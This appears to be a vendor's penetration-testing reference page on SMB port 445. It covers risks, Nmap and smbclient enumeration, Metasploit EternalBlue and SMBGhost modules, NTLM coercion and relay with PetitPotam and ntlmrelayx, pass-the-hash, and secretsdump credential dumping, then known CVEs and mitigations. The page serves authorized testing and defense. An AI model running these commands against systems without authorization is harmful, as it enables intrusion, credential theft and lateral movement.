Port 445 – SMB (Server Message Block)

Port 445 is the default port for SMB (Server Message Block) running direct-hosted over TCP — the modern transport for Windows file and printer sharing and the backbone of almost everything an Active Directory network does over the wire. Since Windows 2000, SMB has run straight on top of TCP with no NetBIOS layer (the service IANA registers as microsoft-ds), which is why 445 replaced the older SMB-over-NetBIOS path on port 139. If a Windows host, domain controller, file server, or NAS is on the network, 445 is almost always listening — and because a single port carries authentication, file access, and remote administration all at once, it is the most valuable target on most internal engagements.

Why It’s Open

SMB is how Windows shares files, maps drives, prints, applies Group Policy, and lets administrators run commands on remote machines, so port 445 is effectively mandatory inside a Windows domain. Every domain controller, member server, workstation, print server, and NAS appliance (anything running Windows or Samba’s smbd) answers on it. Modern Windows prefers direct-hosted SMB on 445 and only falls back to the legacy NetBIOS session on 139 when 445 is blocked — and the newer SMB dialects (SMB 2/3, with encryption and compression) exist only on 445 and never ride the NetBIOS transport. Seeing 445 open next to 135, 139, 88 Kerberos, and 389 LDAP is the unmistakable fingerprint of a Windows domain member.

Common Risks

Anonymous and authenticated enumeration. Misconfigured hosts accept a null or guest session to IPC$ and leak users, groups, shares, and the domain password policy; with any valid credential, SMB becomes a full read of the domain’s users, groups, computers, and file shares — the reconnaissance that seeds every later step.
Missing SMB signing → NTLM relay. When a host does not require SMB signing, an NTLM authentication captured or coerced on the segment can be relayed to another service — SMB, LDAP, or AD CS web enrollment — turning one hash into remote code execution or a domain foothold with no password cracking. This is the modern core of internal Windows attacks.
Remote code execution bugs. The SMB service has hosted some of the worst pre-auth RCE in Windows history — EternalBlue (MS17-010), SMBGhost (CVE-2020-0796), and MS08-067 — several of them wormable.
Lateral movement and credential theft. Once an attacker holds any valid hash or password, 445 is the primary channel for psexec/smbexec/wmiexec, pass-the-hash, and dumping secrets with secretsdump.
Internet-exposed shares. Port 445 reachable from the internet is an immediate, critical finding — it is exactly the surface WannaCry and NotPetya rode, and mass scanners hammer it constantly.

Want to save time on reporting?

Let PentestPad generate, track, and export your reports - automatically.

Enumeration & Testing

Fingerprint and vuln-scan SMB with Nmap

nmap -p 445 -sV --script="smb-os-discovery,smb-protocols,smb-security-mode,smb2-security-mode,smb-enum-shares,smb-enum-users,smb-vuln-ms17-010,smb-vuln-ms08-067" <target>

smb-protocols shows which dialects are enabled (flag SMBv1), smb-security-mode / smb2-security-mode tell you whether signing is required (the NTLM-relay gate), and the smb-vuln-* scripts check the famous RCE bugs.

List and browse shares

smbclient -L //<target>/ -N
smbclient -L //<target>/ -U '<user>%<pass>'
smbclient //<target>/<share> -U '<user>%<pass>'

smbmap -H <target> -u '<user>' -p '<pass>'
smbmap -H <target> -u guest -p ''

Null / authenticated enumeration of users, groups, and policy

enum4linux-ng -A <target>

rpcclient -U "" -N <target>
# inside rpcclient:
#   srvinfo
#   enumdomusers
#   querydominfo
#   getdompwinfo

The point of a null session is that it needs no password: -U "" -N connects anonymously to IPC$ and, on a vulnerable host, returns users, groups, and the password policy — the classic finding that also drives the legacy NetBIOS session on port 139.

Sweep and enumerate with NetExec / CrackMapExec

netexec smb <target>/24 -u '' -p ''
netexec smb <target>/24 -u <user> -p <pass> --shares --users --groups --pass-pol
netexec smb <target>/24 -u <user> -H <ntlm_hash> --shares    # pass-the-hash

NetExec (the maintained successor to CrackMapExec) also flags which hosts do not require SMB signing — your relay target list in one column.

Metasploit modules

use auxiliary/scanner/smb/smb_version
use auxiliary/scanner/smb/smb_enumshares
use auxiliary/scanner/smb/smb_enumusers
use auxiliary/scanner/smb/smb_login
use auxiliary/scanner/smb/smb_ms17_010          # EternalBlue check
use exploit/windows/smb/ms17_010_eternalblue
use exploit/windows/smb/cve_2020_0796_smbghost  # SMBGhost RCE
use exploit/windows/smb/psexec                  # authenticated code exec

Coerce and relay NTLM (no cracking required)

# Relay to a host that isn't requiring SMB signing, dumping SAM on success
impacket-ntlmrelayx -tf targets.txt -smb2support

# Coerce a victim to authenticate to you (then relay it)
python3 PetitPotam.py <attacker-ip> <target-dc>      # MS-EFSRPC (CVE-2021-36942)
python3 printerbug.py '<domain>/<user>:<pass>'@<target> <attacker-ip>

Lateral movement and secret extraction (Impacket)

impacket-psexec   '<domain>/<user>:<pass>'@<target>
impacket-wmiexec  '<domain>/<user>'@<target> -hashes :<ntlm_hash>   # pass-the-hash
impacket-secretsdump '<domain>/<user>:<pass>'@<target>

Every share, user list, password policy, and successful login you pull off port 445 is evidence — keep it with the run and drop it straight into the pentest report as both a finding and a map of the domain, rather than losing it in scrollback.

What to Look For

Checkpoint	What it means
Null / guest session returns users or shares	Unauthenticated enumeration — high severity, feeds every later step
SMB signing not required (`smb-security-mode`)	Host is a valid NTLM-relay target — often the fastest path to DA
SMBv1 enabled (`smb-protocols`)	Exposed to EternalBlue / MS08-067 — immediate fail
Windows 10/Server 1903–1909, SMBv3 compression on	Potentially vulnerable to SMBGhost (CVE-2020-0796)
Writable share (`ADMIN$`, `C$`, or custom)	Code execution or data exfiltration
Guest / anonymous read on business shares	Data exposure, credential hunting in files
Port 445 reachable from the internet	Critical — never expose SMB to the public internet

Known CVEs and Exploits

Port 445 has hosted several of the most consequential vulnerabilities in Windows history. Verify each against the host’s OS build and SMB dialect before trusting a scanner — and note the transport carefully, because the SMBv1 bugs are reachable over both 139 and 445 while the SMBv3 bugs are 445-only.

CVE-2017-0144 — MS17-010, “EternalBlue.” A remote, unauthenticated attacker executes arbitrary code against the SMBv1 server via crafted packets. CVSS 8.8 (CVSS v2 9.3). The bug behind WannaCry and NotPetya, and reachable over both port 445 and port 139 wherever SMBv1 is enabled. MS17-010 also covers the sibling CVEs CVE-2017-0143 / -0145 / -0146 / -0147 / -0148. Scan with auxiliary/scanner/smb/smb_ms17_010, exploit with exploit/windows/smb/ms17_010_eternalblue or ms17_010_psexec / Exploit-DB 42315.
CVE-2020-0796 — “SMBGhost” / CoronaBlue. A heap buffer overflow in SMBv3.1.1 compression gives pre-auth, wormable remote code execution. CVSS 10.0 (Critical). This one is 445-only: SMBv3 is direct-hosted and never uses the NetBIOS 139 transport, which is exactly why it belongs to port 445 and not to 139. Exploit with exploit/windows/smb/cve_2020_0796_smbghost (unauthenticated RCE against Windows 10 / Server 1903 and 1909).
CVE-2020-1206 — “SMBleed.” An uninitialized-memory read in the same SMBv3.1.1 code path leaks kernel memory; chained with SMBGhost it upgrades a crash into reliable exploitation. CVSS 7.5, and likewise 445-only (SMBv3).
CVE-2008-4250 — MS08-067. A crafted RPC request to the Windows Server service (reached over the SMB named pipe on 445/139) overflows during path canonicalization and yields pre-auth code execution as SYSTEM. CVSS 10.0 — the flaw behind the Conficker worm. Ready-made via exploit/windows/smb/ms08_067_netapi.

Two related bugs are frequently miscredited to “SMB / port 445” but are not SMB vulnerabilities — they are RPC-based coercion or elevation flaws that pentesters pair with an SMB relay: PetitPotam (CVE-2021-36942, MS-EFSRPC) and Zerologon (CVE-2020-1472, MS-NRPC over RPC on 135). Treat them as coercion / escalation context, not as port-445 CVEs.

Mitigation

Never expose port 445 to the internet. Block TCP/445 (and 137–139) inbound and outbound at the perimeter — there is no legitimate reason for SMB to cross the internet, and exposed 445 is a critical finding on its own.
Disable SMBv1 entirely. Disable-WindowsOptionalFeature -Online -FeatureName smb1protocol, or on older builds Set-SmbServerConfiguration -EnableSMB1Protocol $false. This removes the EternalBlue / MS08-067 attack surface.
Require SMB signing. Enforce it by Group Policy on servers and clients (Set-SmbServerConfiguration -RequireSecuritySignature $true). Requiring — not merely enabling — signing is what actually kills NTLM relay to SMB.
Patch on a real cadence. MS17-010, MS08-067, SMBGhost/SMBleed, and every monthly SMB fix must land on all hosts, including the forgotten NAS and print servers.
Least-privilege shares and SMB encryption. Remove world-readable/writable shares, scope ACLs tightly, and turn on SMB 3 encryption for sensitive shares.
Reduce credential blast radius. Deploy LAPS so no two machines share a local admin password, segment the network so 445 can’t reach every host from every host, and restrict who can log on where to blunt lateral movement and relay chains.

Real-World Example

In May 2017, WannaCry weaponized EternalBlue (MS17-010) — the SMBv1 remote code execution flaw reachable over port 445 — to worm through hundreds of thousands of unpatched Windows systems in a single weekend, crippling NHS hospitals, Telefónica, FedEx, and Renault. Six weeks later NotPetya used the same SMB exploit to cause an estimated $10 billion in damage. Microsoft’s patch had shipped two months before WannaCry. On internal engagements the same port tells a quieter story: a tester lists shares over 445, pulls the user list and password policy from a null session, finds that a file server doesn’t require SMB signing, coerces a domain controller to authenticate with PetitPotam, relays that authentication to AD CS with ntlmrelayx, and walks out with a certificate that impersonates the DC — no exploit, no cracking, just an SMB port that trusted the wrong connection.

FAQ

What is port 445 used for?

Port 445 carries direct-hosted SMB (Server Message Block) — Windows file and printer sharing, remote administration, and Active Directory operations, running straight over TCP with no NetBIOS layer. IANA registers the service as microsoft-ds. It’s open on virtually every Windows host, domain controller, and NAS, which is why it’s central to both normal Windows operation and internal penetration testing.

What is the difference between port 445 and port 139?

Both carry SMB, but the transport differs. Port 139 runs SMB inside a legacy NetBIOS session (SMB over NetBIOS), used by older Windows and Samba. Port 445 is direct-hosted SMB — the protocol straight over TCP — and is the default on modern systems and the only transport for newer SMB dialects. SMBv3 features like encryption and compression exist only on 445, which is why SMBGhost (CVE-2020-0796) is a 445-only bug and never affects 139.

What is microsoft-ds?

microsoft-ds (“Microsoft Directory Services”) is the IANA service name registered for TCP/UDP port 445 — it’s simply the label Nmap, IANA, and Windows use for direct-hosted SMB. If a scan reports microsoft-ds on 445, that’s SMB.

Is port 445 dangerous?

On the internet, yes — it should never be exposed, and an internet-facing 445 is a critical finding that mass scanners and worms target continuously. On an internal network it isn’t “dangerous” so much as unavoidable and high-value: SMB has to be open for Windows to work, so the risk is managed by requiring SMB signing, disabling SMBv1, patching the RCE bugs, and locking down shares — not by closing the port.

How do I close or secure port 445?

You rarely close it on a LAN because Windows needs it — instead, firewall TCP/445 so it’s never reachable from the internet or across trust boundaries, disable SMBv1, require SMB signing to stop NTLM relay, patch MS17-010 / SMBGhost / MS08-067, and tighten share permissions. On standalone machines that don’t share files you can disable the Server service and confirm with nmap -p 445 <target> that the port is closed.

TL;DR

Service: SMB (Server Message Block), direct-hosted over TCP — IANA microsoft-ds; Windows file/printer sharing, remote admin, and AD operations
Default port: 445/TCP (modern SMB; the legacy NetBIOS transport is on 139)
Biggest risk: null-session / authenticated enumeration, NTLM relay from missing SMB signing, and pre-auth RCE (EternalBlue, SMBGhost, MS08-067) plus lateral movement
Mitigation: never expose 445 to the internet, disable SMBv1, require SMB signing, patch the SMB RCEs, and enforce least-privilege shares with LAPS and segmentation